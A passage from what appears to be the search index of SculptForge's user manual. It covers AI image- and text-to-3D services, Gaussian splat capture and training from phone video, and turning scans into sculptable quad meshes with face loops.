3D","a":"pictures-that-work-well","h":"Pictures that work well","t":"One character or object per image. A plain or transparent background. SculptForge crops the subject out of a transparent background, centres it on a square and scales it to at most 1024 pixels before sending it. The whole subject in frame, seen from the front or a three-quarter view. A clean concept turnaround pose works better than a busy illustration with scenery."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"generate-from-text","h":"Generate from text","t":"On the From text tab, type one object into the box, for example \"a stylised dragon head with curled horns\" or \"a cartoon fox sitting\". Pick Hugging Face - free models, fal.ai, Meshy or ComfyUI - your server. Text to 3D does not work with My generator command or Offline blockout. Click Generate 3D model. Which model runs depends on the service: Service Text-to-3D model Hugging Face Hunyuan3D 2 mini Turbo (Tencent), or Hunyuan3D 2 if you chose it in Model. Any other choice uses Turbo fal.ai Hunyuan3D 3.1 Rapid (Tencent) Meshy Meshy's own text-to-3D model ComfyUI The text workflow you choose (the bundled text-to-3d uses FLUX.1 schnell and Hunyuan3D 2.1)"},{"p":"generate-3d.html","c":"Image and text to 3D","a":"services","h":"Services","t":"Service Cost and setup Good for Hugging Face - free models Free, no account. A free token raises the daily allowance Trying things out, personal work fal.ai - paid, your key Paid per generation, needs a fal.ai key Reliable capacity, newer models Meshy - paid, your key Paid, needs a Meshy key Meshy's own models ComfyUI - your server Free, runs on your own GPU or a studio server Privacy, custom workflows, studios My generator command Free, any program you run locally Your own model or a studio service Offline blockout (inflate silhouette) Free and instant, no network Simple shapes, a quick start"},{"p":"generate-3d.html","c":"Image and text to 3D","a":"hugging-face-free","h":"Hugging Face (free)","t":"This runs each model author's own public demo on Hugging Face's shared ZeroGPU hardware. Pick a Model: Model Notes Hunyuan3D 2.1 (Tencent) The default. Detailed shapes, about 20 seconds, no token needed TRELLIS.2 (Microsoft) Best detail, MIT licence. Needs a free Hugging Face token Hunyuan3D 2 mini Turbo (Tencent) The fastest, about 6 seconds Hunyuan3D 2 (Tencent) Stable Fast 3D (Stability AI) Quick and simple, removes the background itself If you never picked a model, SculptForge uses the default, so updates that change it reach you; a model you pick (and save) is kept. If you pick TRELLIS.2 without a token, Hunyuan3D 2.1 runs instead and the status line says \"TRELLIS.2 needs a free Hugging Face token (Edit > Preferences > AI); used Hunyuan3D 2.1 instead.\" The Hunyuan3D models' licence doesn't cover use in the European Union, the United Kingdom or South Korea. The first time a Hunyuan3D model runs, a notice says so, and it stays in the Model picker's tooltip. See AI services for each model's licence. GPU time is rationed per person per day, there can be a queue at busy times, and a demo can be paused or changed by its owner. To raise the allowance, create a free token with read access at huggingface.co/settings/tokens and paste it into HF token or Edit > Preferences > AI (or set the HF_TOKEN environment variable). When the allowance runs out you see \"Hugging Face's free GPU time is used up for now\"; add a token, wait for it to refill, or pick another model. Warning: The Hunyuan3D models are under the Tencent Hunyuan Community License, which does not cover use in the European Union, the United Kingdom or South Korea. If you work there, choose TRELLIS.2 (free token), Stable Fast 3D or a paid service. Each model has its own licence; read it before using results commercially."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"falai-and-meshy-paid","h":"fal.ai and Meshy (paid)","t":"fal.ai: choose a Model (TRELLIS.2, Hunyuan3D 3.1 Pro, Hunyuan3D 3.1 Rapid or Meshy 6) or type any fal model id into Model id. Paste your key from fal.ai/dashboard/keys into API key, or set FAL_KEY. Meshy: paste your key from meshy.ai (API settings) into API key, or set MESHY_API_KEY. Generations are billed to your account with that service. Errors such as \"The API key was rejected\", \"Out of credits on this account\" or \"Rate limited\" come from the service."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"comfyui-your-own-server","h":"ComfyUI (your own server)","t":"Runs any ComfyUI workflow on your own computer or a studio GPU server, with whatever models it has. Nothing is sent anywhere else. Start ComfyUI. It listens on http://127.0.0.1:8188 by default. If SculptForge runs on another computer, start ComfyUI with --listen (only on a network you trust: ComfyUI has no login). Install the models your workflow needs. The bundled Hunyuan3D 2.1 workflow needs hunyuan_3d_v2.1.safetensors in ComfyUI/models/checkpoints. In Generate 3D, pick ComfyUI - your server, enter the Server address and click Test connection. A good answer looks like \"Connected: ComfyUI 0.42.0 - NVIDIA GeForce RTX 4090 (24.0 GB)\". Choose a Workflow: a bundled one, or Other file (API format)... for your own. Click Generate 3D model. The progress bar shows your place in ComfyUI's queue. Bundled workflows: Workflow Tab Needs hunyuan3d-image-to-3d From image The Hunyuan3D 2.1 checkpoint (7.4 GB) and a GPU with about 10 GB of memory text-to-3d From text FLUX.1 schnell, BiRefNet and Hunyuan3D 2.1 (about 25 GB of downloads) and a GPU sculptforge-inflate From image The ComfyUI-SculptForge node pack; no GPU. A quick blockout to check your setup Your own workflows must be saved in ComfyUI's API format (in ComfyUI: Workflow > Export (API)). To tell SculptForge where the inputs go, give nodes these titles: Node title What SculptForge does sf_image Puts the uploaded picture into this Load Image node. Without one, the first Load Image node is used sf_prompt Puts your description into this node's text, prompt or string input. Without one, the first CLIP Text Encode not titled \"negative\" is used sf_seed Sets the seed. Inputs named seed or noise_seed get it too SculptForge imports the first mesh file the workflow saves (Save GLB, Preview 3D and most 3D node packs work). For error messages and their fixes, see Troubleshooting."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"my-generator-command","h":"My generator command","t":"Runs any command line on your computer: a local open-source model, a studio service, or a script that calls a cloud API. Type the command into the box. It must contain {input} (replaced with the image path) and {output} (replaced with the path to write, ending in .glb). Both are quoted for you, so don't add quotes. The command must write a GLB file to {output} and exit with status 0. The box starts with a command that runs SculptForge's own silhouette inflation, which is a quick way to check that the pipeline works: sculptforge-cli --set input={input} --set output={output} -c 'image_inflate path=$input subdivisions=2; export_glb path=$output' A wrapper for your own model can be as small as this: # my_generator.py {input} {output} import sys image_path, output_path = sys.argv[1], sys.argv[2] # load your model, run it on image_path, write a .glb to output_path Keep API keys in environment variables that your script reads, not in the command line."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"offline-blockout","h":"Offline blockout","t":"Offline blockout (inflate silhouette) inflates the outline of the picture into a rounded, closed mesh. It is instant and needs no network, but it is a puffy blockout, not a reconstruction: fine for simple shapes, not for characters."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"save-your-settings","h":"Save your settings","t":"Save settings (the small button under Generate 3D model) stores the service, model, keys, token, ComfyUI address and generator command in your ai.json settings file, so they are set the next time you start SculptForge. Keys in ai.json are readable only by your user account. See where settings live."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"quick-shapes-from-an-image-offline","h":"Quick shapes from an image (offline)","t":"The From image tab also has three offline tools under Quick shapes (offline). They need no network and run instantly. The same tools are in Mesh > Generate 3D as Relief, Inflate and Stamp. Tool What it makes Settings Silhouette blockout > Inflate A rounded, closed base mesh from the outline. Replaces the scene Thickness (0.2 to 2, lower is flatter), Detail (64 to 384) Relief > Make relief A height-field relief: light areas rise. For logos, coins, emblems, height maps and texture photos. Replaces the scene Depth (0.01 to 0.5 of the width), Detail (64 to 1024), Dark is high Stamp onto model > Stamp from this view Projects the image onto the current model from the current view as surface detail, into the active sculpt layer Depth (0.001 to 0.1 of the model size), Dark is high Tip: Stamp writes into the active sculpt layer, so add a layer first (Tool > Layers) if you want to dial the detail in and out afterwards. See Layers and blend shapes."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"after-generating","h":"After generating","t":"Generated meshes are a starting point. A typical next pass: Check the size of the remeshed result in the bar along the top (the triangle count). If the detail is too soft, divide once more (Ctrl+D), or generate again with a higher Resolution. Tool > Remesh has Quad Remesh (first) and Voxel Remesh for another pass. Turn on X symmetry if the subject is symmetrical, and sculpt the forms with Clay Block, Move and Sharp Crease (Sculpting and brushes). Save a project (Ctrl+S): generated scenes start untitled."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"from-scripts-and-agents","h":"From scripts and agents","t":"The same services are available as commands, in the console, sculptforge-cli, Python and MCP agents: # free, no token (Hunyuan3D 2.1 on Hugging Face, the default) sculptforge-cli -c 'image_to_3d path=hero.png; export_glb path=hero.glb' # TRELLIS.2, best detail, with a free Hugging Face token (without one, Hunyuan3D 2.1 runs and says so) HF_TOKEN=hf_... sculptforge-cli -c 'image_to_3d path=hero.png model=trellis-2; export_glb path=hero.glb' # voxel remesh instead of the default Quad Remesh sculptforge-cli -c 'image_to_3d path=hero.png remesh=voxel; export_glb path=hero.glb' # fal.ai, keeping the raw (not remeshed) result FAL_KEY=... sculptforge-cli -c 'image_to_3d path=hero.png service=fal model=fal-ai/trellis-2 remesh=false; export_glb path=hero.glb' # text to 3D on your own ComfyUI, repeatable with a seed sculptforge-cli -c 'text_to_3d prompt=\"a carved stone owl\" service=comfyui url=http://gpu-box:8188 seed=42; export_usd path=owl.usdz' # is the ComfyUI server up? sculptforge-cli -c 'comfyui_check' # offline tools sculptforge-cli -c 'image_relief path=logo.png depth=0.08; export_stl path=logo.stl' sculptforge-cli -c 'image_inflate path=sketch.png thickness=0.7; save_project path=blockout.sfproj' Command Key parameters image_to_3d path (required), service (huggingface, fal, meshy, comfyui, command, inflate), model, workflow, url, seed, remesh (quad, the default; voxel; false), resolution (64 to 512, default 256), levels (quad: 0 to 2 subdivision levels, default 1) text_to_3d prompt (required), service (huggingface, fal, meshy, comfyui), model, workflow, url, seed, remesh, resolution, levels image_relief path (required), depth (default 0.12), resolution (default 384), invert image_inflate path (required), thickness (default 1), resolution (default 160), subdivisions (default 1) image_project path (required), depth (default 0.03), invert. Projects from the front (+Z) comfyui_check url Without service=, commands use the settings you saved in the app. See Scripting and automation."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"privacy-and-model-licences","h":"Privacy and model licences","t":"Your art is never uploaded or used for training. AI features run only when you use them and can be turned off. Off (Edit > Preferences > AI, or SF_AI=off) hides Generate 3D; Relief, Inflate and Stamp stay. See Turning AI off. SculptForge has no servers of its own and no telemetry. A hosted service receives only the prepared image (or your text) and your key or token, if any. The free Hugging Face option runs the model authors' own demos; SculptForge does not host or bundle any model. Each model has its own licence: TRELLIS.2 is MIT; Hunyuan3D models use the Tencent Hunyuan Community License (not for use in the EU, UK or South Korea); Stable Fast 3D uses the Stability AI Community License (free under US $1M annual revenue). Read the licence before commercial use. With ComfyUI, the picture goes only to the server address you entered. The full table of what is sent where is in docs/ai-services.md in the SculptForge repository."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"see-also","h":"See also","t":"Sculpting and brushes: refine the generated model Subdivide, Remesh, Decimate and LODs: Quad Remesh and voxel remesh in detail Gaussian splats: start from a phone capture instead of a picture Scripting and automation: batch generation from the command line Troubleshooting: quota and connection messages"},{"p":"splats.html","c":"Gaussian splats","a":"","h":"Gaussian splats","t":"Gaussian splats are the format behind phone and photogrammetry captures from apps such as Polycam, Luma, Postshot, Scaniverse and KIRI. SculptForge uses them three ways: as a reference to sculpt against, as a source for a sculptable, animation-ready mesh with its colours, and as an output when you turn a sculpt into splats. This chapter covers all three. A Gaussian splat capture made from the lion, with the mesh hidden and the Splats button on the right shelf To make a splat yourself from a phone video or photos, see Scan an object into a splat."},{"p":"splats.html","c":"Gaussian splats","a":"supported-files","h":"Supported files","t":"Format Open Save PLY (standard 3D Gaussian Splatting layout, spherical harmonics up to degree 3) Yes Yes .splat (compact web-viewer format) Yes Yes glTF / GLB with KHR_gaussian_splatting Yes Yes OpenUSD .usda / .usdz with a ParticleField3DGaussianSplat prim Yes Yes A PLY file can hold either a mesh or splats; SculptForge tells them apart by their contents."},{"p":"splats.html","c":"Gaussian splats","a":"load-a-capture-as-a-reference","h":"Load a capture as a reference","t":"Open the capture with File > Open... (Ctrl+O), drop it onto the window, or double-click it in the Library Splats tab. The splats load next to your sculpt: the current mesh stays, and the capture is drawn around it as a reference. Render > Gaussian Splats moves into the right tray by itself, and a Splats button appears on the right shelf to show or hide the capture. Most captures arrive upside down, off-centre and at an arbitrary scale. Use the buttons in the Splats palette to place them: Button What it does Flip Turns the capture upside down (180 degrees about X). Most captures need this Turn 90 Turns it 90 degrees about the vertical axis Fit Centres it at the origin and scales it to the size of a new sphere Clean floaters Removes faint splats and stray outliers around the subject The palette also shows the number of splats and their spherical-harmonic degree (for example \"1250000 splats (SH 3)\"), and has: Show and Show mesh to show or hide the capture and the sculpt. An opacity slider (0.05 to 1) to see the sculpt through the capture. Tip: To sculpt a character over a scan, lower the opacity to about 0.4, turn on X symmetry and block in the forms on a sphere or a converted mesh with Clay Block and Move."},{"p":"splats.html","c":"Gaussian splats","a":"make-a-capture-sculptable","h":"Make a capture sculptable","t":"Make sculptable (under From scan in Render > Gaussian Splats) turns the capture into a clean Part you can sculpt and animate: a watertight surface without floaters, quad topology with loops round the eyes and mouth when it is a head, and the capture's colours. The splats stay, hidden. It has its own chapter: From scan to sculptable mesh."},{"p":"splats.html","c":"Gaussian splats","a":"turn-a-sculpt-into-splats","h":"Turn a sculpt into splats","t":"Sculpt to splats (in Render > Gaussian Splats when no splats are loaded, or from the command palette) covers the visible Parts with flat, oriented splats with soft clay shading baked in. Use it to show a sculpt in splat viewers, web scenes or engines that render 3D Gaussian splats. It replaces any loaded splats. From a script you can choose the number of splats and whether to bake shading: sculptforge-cli -c 'open path=bust.glb; mesh_to_splats count=500000 shading=true; splat_save path=bust.ply'"},{"p":"splats.html","c":"Gaussian splats","a":"save-splats","h":"Save splats","t":"Click Save splats... in Render > Gaussian Splats, or File > Save Splats.... Choose the format by the file type: PLY (for SuperSplat, Postshot and most tools), glTF (.glb with KHR_gaussian_splatting) or OpenUSD (.usda / .usdz). The splat_save command also writes .splat. Placement you made with Flip, Turn 90 and Fit is kept exactly in glTF and USD. PLY has no placement, so it is baked into the splats; if the capture was rotated, view-dependent colour (spherical harmonics above degree 0) is dropped from the PLY, because it would point the wrong way. When you export USD (File > Export USD / USDZ...) with splats loaded, they are included in the same file as a ParticleField3DGaussianSplat prim next to the meshes. Projects (.sfproj) keep loaded splats and their placement. Clear in Render > Gaussian Splats removes the capture."},{"p":"splats.html","c":"Gaussian splats","a":"from-scripts","h":"From scripts","t":"Command What it does Key parameters open Loads a capture as a reference next to the sculpt path splat_info Reports the loaded splats splat_transform Rotates and places the capture rotate_x, rotate_y, rotate_z (degrees), fit, reset splat_clean Removes faint splats and floaters min_opacity (default 0.05), keep (0.5 to 1, default 0.98) splat_to_mesh Make sculptable: a new Part with quads, face loops and colour (details) detail (default 256), preset (game, film, sculpt), color (vertex paint, texture, none), crop, face_guides splat_test_capture Loads a built-in test capture (a head or a mug) kind mesh_to_splats Turns the visible Parts into splats count (default 250000), shading (default true) splat_save Saves .ply, .splat, .glb, .usda or .usdz path splat_clear Removes the splats A complete phone-capture-to-game-asset pipeline: sculptforge-cli -c 'open path=scan.ply; splat_transform rotate_x=180 fit=true; splat_to_mesh preset=game color=texture; export_glb path=asset.glb' To render only the splats headless, use sculptforge scan.ply --render scan.png --hide-mesh (see Scripting and automation)."},{"p":"splats.html","c":"Gaussian splats","a":"see-also","h":"See also","t":"From scan to sculptable mesh: Make sculptable in detail Image and text to 3D: another way to get a base mesh Subdivide, Remesh, Decimate and LODs: clean up a converted mesh Exporting: USD and glTF exports that carry splats"},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"","h":"Scan an object into a splat","t":"Walk around a clay maquette, a prop or a toy with your phone, and SculptForge turns the video or photos into a Gaussian splat in the viewport. You watch it sharpen while it trains, and you can orbit around it the whole time. From there you can sculpt against it, make it sculptable, or save it for a splat viewer or a game engine. Nothing is uploaded: everything runs on your own computer."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"what-you-need","h":"What you need","t":"A phone or a camera. Any phone that films 1080p or better works. You don't need a special app. A graphics card. Training runs on the GPU: NVIDIA, AMD or Intel on Windows and Linux, or an Apple silicon Mac. No CUDA is needed. A gaming GPU trains a Fast preview in a few minutes. Three free tools, which SculptForge runs as separate programs: Tool What it does How you get it Brush (Apache-2.0) Trains the splat SculptForge offers to download it the first time (about 45 MB on Linux and macOS, 160 MB on Windows) COLMAP (BSD) Works out where each photo was taken Windows: offered as a download (128 MB). Linux: your distribution's colmap package. macOS: brew install colmap ffmpeg Reads frames from a video Usually installed already; Linux: the ffmpeg package, macOS: brew install ffmpeg Captures from the SculptForge phone link that carry the phone's own camera positions, and COLMAP or nerfstudio datasets, don't need COLMAP. Photo folders don't need ffmpeg."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"capture-tips","h":"Capture tips","t":"The capture decides the quality far more than the settings do. Pick a matte object. Clay, wood, stone, painted plastic and fabric scan well. Shiny metal, glass, mirrors, water and see-through plastic don't: the trainer can't tell reflections from surface. Avoid thin and fuzzy parts such as hair, fur, wire, antennas and leaves, or expect them to come out soft. Use even, soft light. An overcast day, a room with daylight from several windows, or two lamps bounced off the walls. Avoid hard shadows, and don't move the lights or let your own shadow fall on the object. Give it texture. A plain white object on a plain white table is hard to place; put it on a patterned cloth or a newspaper. Walk all the way around. Keep the object in the middle, filling about half the frame. Go round once at eye level and once a little higher, looking down. Every part of the object should be seen from several sides. Move slowly and smoothly. Each view should overlap the last by about two thirds. Blurred frames are dropped automatically, but a capture that is blurred everywhere can't be fixed. Keep the object still, and don't use a turntable: the background would not turn with it. Length: a 20 to 60 second video, or 40 to 150 photos."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"train-a-splat","h":"Train a splat","t":"Open Render > Gaussian Splats (or press F3 and type \"train\"). Under Train from capture, pick a preset: Fast preview or Quality. Click Video... and pick the video, or Photos Folder... and pick the folder of photos. You can also drop a video file onto the window. Captures sent from the phone link start by themselves. The first time, a window asks to download Brush. It says what it downloads, from where and how big it is; nothing is downloaded until you click Download Brush. The download is checked against its SHA-256 checksum before it is used. If you already have Brush, click Choose Brush... instead. Training then runs in the background, in three stages: Stage What happens Frames A video is read at 5 frames a second and the sharpest frame of each moment is kept (80 for Fast preview, 200 for Quality). Photos are used as they are Camera positions COLMAP finds where each photo was taken (skipped when the capture already knows) Training Brush trains the splat. Every few hundred steps the viewport shows the latest result The panel over the viewport shows the step, the quality so far, how long it has run and roughly how long is left: PSNR compares the splat with photos it was not trained on, in decibels. Under 18 is rough, 22 to 26 is good and over 26 is sharp. A PSNR that stops rising means more training won't help much. Good enough - stop ends training and keeps what it has learned so far as the result. Cancel ends training and saves nothing. You can orbit, pan and zoom while it trains. While the splat trains, the sculpt is hidden so the splat isn't inside it; tick Show mesh in Render > Gaussian Splats to bring it back."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"presets","h":"Presets","t":"Preset Steps Image size Frames from a video Colour Fast preview 5,000 up to 1024 px 80 simple view-dependent colour (SH 1) Quality 30,000 up to 1920 px 200 full view-dependent colour (SH 3) Start with Fast preview to check the capture, then train Quality from the same capture."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"where-the-result-goes","h":"Where the result goes","t":"The finished splat is saved as a PLY next to the capture: for a folder: /splat/.ply for a video: -splat/.ply beside the video A copy goes into the Splats tab of the Library, so you can open it again later. The work folder beside the result holds the frames, the camera positions and the logs (brush.log, colmap.log); you can delete it. The splat comes in centred and upright: SculptForge uses the camera positions to put the object at the middle of the scene with the cameras' \"up\" pointing up. Use Flip, Turn 90 and Fit in Render > Gaussian Splats if it still needs a turn. Then: Make it sculptable. Lower the opacity and sculpt against it as a reference. Save splats... to .ply, .splat, .glb or .usdz for other apps."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"tools-and-settings","h":"Tools and settings","t":"The Tools section of Train from capture shows which tools were found. SculptForge looks for each one in this order: An environment variable: SCULPTFORGE_BRUSH, SCULPTFORGE_COLMAP or SCULPTFORGE_FFMPEG (the full path of the program). Studios can point every workstation at a shared, approved build this way. The program chosen with Choose Brush... or Choose COLMAP.... A download made by SculptForge, in the tools folder of SculptForge's settings folder. brush_app, colmap and ffmpeg on the PATH. There is no ready-made Brush for Linux on ARM (for example Asahi Linux on an Apple silicon Mac) or for Intel Macs. Build it from its source with Rust (cargo build --release in a Brush checkout) and choose the brush_app it builds."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"from-the-command-line","h":"From the command line","t":"splat_train works in scripts, sculptforge-cli, Python and the MCP server. There it waits until training has finished, then loads the result: sculptforge-cli -c \"splat_train source=walkaround.mp4 preset=fast; splat_save path=walkaround.glb\" Parameter Meaning source A video, a folder of photos, a phone-link capture folder, or a COLMAP / nerfstudio dataset out Where to put the result and the work files (default: next to the capture) preset fast or quality In the app, splat_train starts training in the background and splat_train_cancel stops it (splat_train_cancel finish=true is Good enough - stop)."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"captures-with-camera-positions","h":"Captures with camera positions","t":"A capture folder can say where every photo was taken, which skips COLMAP. The phone link writes this in its capture.json; other tools can too: {\"kind\": \"splat\", \"device\": \"...\", \"files\": [\"IMG_0000.jpg\", \"...\"], \"fl_x\": 1450, \"w\": 1920, \"h\": 1440, \"frames\": [{\"file\": \"IMG_0000.jpg\", \"transform_matrix\": [[...], [...], [...], [0, 0, 0, 1]]}]} transform_matrix is the camera-to-world transform, row by row, with the camera looking down its -Z axis and +Y up (the OpenGL and nerfstudio convention, the same as ARKit and WebXR). fl_x, fl_y, cx, cy, w and h are in pixels and can also be given per frame. Folders that already contain a COLMAP model (images and sparse/0) or a nerfstudio transforms.json are trained as they are."},{"p":"scan-to-splat.html","c":"Scan an object into a splat","a":"if-it-goes-wrong","h":"If it goes wrong","t":"\"COLMAP could not place the cameras\": too few views overlap, the photos are blurred, or the object is shiny or plain. Capture again more slowly, with more texture around the object. The details are in work/colmap.log. \"Brush stopped with an error\": often the graphics card ran out of memory. Try Fast preview, close other GPU-heavy programs, or update the graphics driver. The details are in work/brush.log. The splat is cloudy or full of floaters: train Quality, then use Clean floaters. Shiny and see-through parts stay cloudy whatever you do. Only part of the object came out: the other side wasn't seen from enough angles. Walk around again."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"","h":"From scan to sculptable mesh","t":"A Gaussian-splat capture looks great but you can't sculpt, rig or animate it. Make sculptable turns it into a clean Part you can: a watertight surface with the floaters and background gone, quad topology at the polygon budget you choose, edge loops round the eyes and mouth when the capture is a head, and the capture's colours as vertex paint or a texture. One click, in the background, with the splats kept next to the result. A test head capture, the review of its face landmarks and loops, and the finished quads with its colours"},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"one-click","h":"One click","t":"Load a capture (see Gaussian splats): File > Open... or drop a .ply, .splat, .glb or .usdz onto the window. Place it with Flip, Turn 90 and Fit if it arrives upside down. For a head, turn the view so you look at the face, roughly from the front (within about 40 degrees is enough). The face is looked for from the current view. In Render > Gaussian Splats, under From scan, click Make sculptable. A progress bar and Cancel show while it works. When it's done: a new Part named after the capture holds the sculptable mesh, and is active; a hidden \" Scan\" Part keeps the dense voxel surface it was made from (turn off Keep scan if you don't want it); the splats are hidden, not deleted (Show in Render > Gaussian Splats brings them back); an untouched starting sphere is hidden too. No capture at hand? Try a test head in Render > Gaussian Splats (shown while no splats are loaded) loads a built-in one: a stylised head as 200,000 coloured splats with a few floaters and the hidden inside splats real captures have. splat_test_capture kind=object loads a mug with a thin handle instead. The From scan section of Render > Gaussian Splats"},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"the-options","h":"The options","t":"Control What it does Detail How finely the surface follows the capture, in voxels across the subject (96 to 512, default 256). Higher keeps thinner parts and more detail and takes longer Game / Film / Sculpt The polygon budget. Game: about 4,000 quads, for real-time characters and props. Film: about 12,000 quads, for close-ups and smooth deformation. Sculpt: a 2,000-quad base with two subdivision levels, the scan's detail projected onto the top level, so you sculpt with levels straight away Face loops When the capture is a head: find the eyes, nose, mouth and chin and give Quad Remesh edge loops round the eyes and mouth and along the nasolabial folds, mirrored across the face (see below) Review Stop after the scan to check the face landmarks and the loops before remeshing Vertex Paint / Texture Where the capture's colours go: the vertices (vertex paint), or a 2K texture on automatic UVs (sharp colour on a light mesh, for games and exports) Keep scan Keep the dense voxel surface as a hidden \" Scan\" Part, to Project All more detail from later Crop Box Only the splats inside the box count (see below) More > Min Opacity Splats fainter than this are ignored (haze and floaters are usually faint). Default 0.2 More > Close Gaps Seal gaps up to this many voxels between splats. Default 2 More > Fill holes Fill big holes such as the open bottom of a subject that stood on a table. Turn it off for open cavities like a cup More > All pieces Keep every solid piece instead of only the largest (the floaters come back too) Hold Ctrl and point at any of them for help; F3 finds Make sculptable, Finish, Place by hand and Crop Box by name."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"face-loops-animation-topology-for-heads","h":"Face loops: animation topology for heads","t":"Faces deform around the eyes and the mouth, so animation topology has rings of edges there and a loop from the nose down past the mouth corners (the nasolabial fold), the same on both sides. With Face loops on, Make sculptable looks for a face on the scan as seen from the current view: a depth and colour picture of it, the middle line where it is mirror-symmetric, the nose as the strongest bump on that line, the eyes as a matching pair of hollows (and darker spots) above it, the line between the lips below it, then the chin. From those eight landmarks (the corners of both eyes, the nose tip, the mouth corners, the chin) it draws Quad Remesh Guides for Quad Remesh to follow: a ring round each eye, and a bigger one round the eye socket when the polygon budget is high enough for it; a ring round the lips; the nasolabial loop: from each side of the nose down the fold past the mouth corner and under the lower lip; all of them mirrored across the face, and Quad Remesh's symmetry on, so both halves get the same edge flow. The guides stay on the result Part, so you can Quad Remesh it again at another density (Geometry > Quad Remesh) and the loops come back. Small loops are left out at low budgets, where they couldn't come out as clean rings. If no face is found (the status bar says why), the result is remeshed without face loops. Turn the view to face the head and run it again, or use Review and place the landmarks by hand."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"review-and-nudge-the-landmarks","h":"Review and nudge the landmarks","t":"With Review on, Make sculptable stops after the scan: the \" Scan\" Part shows with the landmarks as blue dots and the guide loops as orange lines. Drag a dot to move a landmark onto the right spot. Its partner on the other side follows (mirrored), and the loops are rebuilt when you let go. Place by hand asks for the eight landmarks one click at a time (the panel and the cursor say which is next): the outer and inner corner of the eye on the left of the screen, the inner and outer corner of the other eye, the nose tip, the left and right mouth corners, the chin. Find again looks for the face again from the current view. Finish remeshes the scan along the loops and colours it; Back leaves the review and keeps the scan."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"the-crop-box","h":"The crop box","t":"Captures usually include the ground, a table or the room. Make sculptable keeps only the largest solid piece, which drops floaters, but a table the subject stands on is joined to it. Click Crop Box: a yellow box appears round the capture with a handle on each face. Drag a handle to move that face (drag the bottom one up to cut the table away), then Make sculptable: only the splats inside the box count. The box shows while the splats are shown; click Crop Box again to turn it off."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"what-happens-inside","h":"What happens inside","t":"Surface. Every Gaussian adds its opacity-weighted density to a voxel grid (in parallel, with the same result on any number of threads). Where the density is high enough is the shell of the subject; small gaps close, small separate pieces of shell (floaters) are dropped, and space boxed in by the shell on five of six sides counts as inside, which seals big holes such as an open bottom. The outside is flooded from the edges, the largest solid piece is kept, and a smooth watertight surface is made from it. Colour. Each vertex (or texel) takes the colour of the splats around it, weighted by their opacity and distance. Splats behind the surface, inside the subject, are faded out: trained captures fill the inside with splats of any colour. Topology. Quad Remesh rebuilds the scan as quads at the budget's polygon count, along the face guides, with symmetry. Sculpt then divides it twice and projects the scan onto the top level (as Project All does)."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"speed","h":"Speed","t":"Measured on an M1 Pro laptop (10 cores, 2021) with the built-in test head at Film density, from click to the finished Part: Splats Detail 256 Detail 384 Detail 512 Peak memory (512) 1 million 3.4 s (surface 1.3 s) 5.5 s (surface 2.6 s) 8.8 s (surface 5.1 s) 1.0 GB 5 million 7.2 s (surface 4.2 s) 9.1 s (surface 5.6 s) 13.2 s (surface 8.0 s) 1.2 GB The rest of the time is Quad Remesh and colour. Everything runs on the CPU, so a studio PC with more cores is faster; no GPU or CUDA is needed."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"how-good-is-it","h":"How good is it?","t":"What works well: Watertight, manifold surfaces every time (no holes, no non-manifold edges), with floaters and stray background pieces dropped and open bottoms sealed. Faithful colour: on test captures with known colours the transferred vertex paint is within a few percent of the original, and the wrongly coloured splats inside the subject don't bleed through. Clean quads (97% or more) with symmetric rings round the eyes and mouth on faces it finds. Thin parts survive down to a few voxels across (a mug handle at Detail 160 stays a handle, its hole open). What to expect: The scan has a fine ripple (voxel-scale, a little like orange peel) where the capture's splats are sparse; the quad result smooths it out, but the Sculpt preset projects it onto the top level, where the Smooth brush takes it away. The surface sits about a voxel outside the splats (the shell's thickness). Raise Detail to make that smaller. The face finder works from geometry and colour, not a trained model: it is reliable on clear faces seen from the front (busts, maquettes, game heads) and can miss on heavily stylised faces, closed-eye or beard-covered ones, profiles, or a head that isn't upright in the view. Then use Review and Place by hand. Fill holes also fills deep open cavities (the inside of a cup, an open mouth); turn it off for those. Hair and fur become a solid shell, as with any surface reconstruction. Splat captures carry view-dependent colour; Make sculptable uses the base colour of each splat (no reflections or highlights baked in), which is what you want for a sculpt."},{"p":"scan-to-sculptable.html","c":"From scan to sculptable mesh","a":"from-scripts","h":"From scripts","t":"The same pipeline runs from the console, sculptforge-cli, MCP and Python: Command What it does Key parameters splat_to_mesh Make sculptable detail (32 to 768, default 256; resolution is the same), preset (game, film or sculpt), target (quads; 0 keeps the voxel surface), levels, face_guides (auto or off), landmarks (JSON, instead of finding them), front, up (the face's directions, default \"0 0 1\" and \"0 1 0\"), color (vertex paint, texture or none), texture_size, crop (\"minx miny minz maxx maxy maxz\"), min_opacity, keep, close, fill_holes, keep_parts, smooth, symmetry, keep_scan, stage (all, scan or finish), seed face_guides Finds a face on the active Part (or takes landmarks) and replaces its Quad Remesh Guides with the face loops; the message ends with the landmarks as JSON landmarks, front, up, target splat_test_capture Loads the built-in test head or mug capture kind (head or object), count, floaters, open_bottom # A scan to a textured game asset, in one go. sculptforge-cli -c 'open path=bust.ply; splat_transform 